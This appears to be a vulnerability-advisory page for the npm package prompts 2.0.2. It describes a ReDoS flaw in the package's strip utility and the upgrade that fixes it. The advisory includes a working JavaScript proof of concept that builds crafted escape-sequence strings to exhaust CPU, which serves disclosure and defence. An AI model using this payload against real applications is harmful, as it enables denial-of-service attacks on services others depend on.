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prompts@2.0.2 vulnerabilities

Lightweight, beautiful and user-friendly prompts

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Direct Vulnerabilities

Known vulnerabilities in the prompts package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker that is able to provide a crafted input to the strip functionality may cause an application to consume an excessive amount of CPU.

Note: CVE-2021-3868 was previously assigned to this vulnerability and retracted.

PoC

const strip = require('prompts/lib/util/strip.js');
for(var i = 1; i <= 5000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*1000);
strip(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade prompts to version 2.4.2 or higher.

<2.4.2
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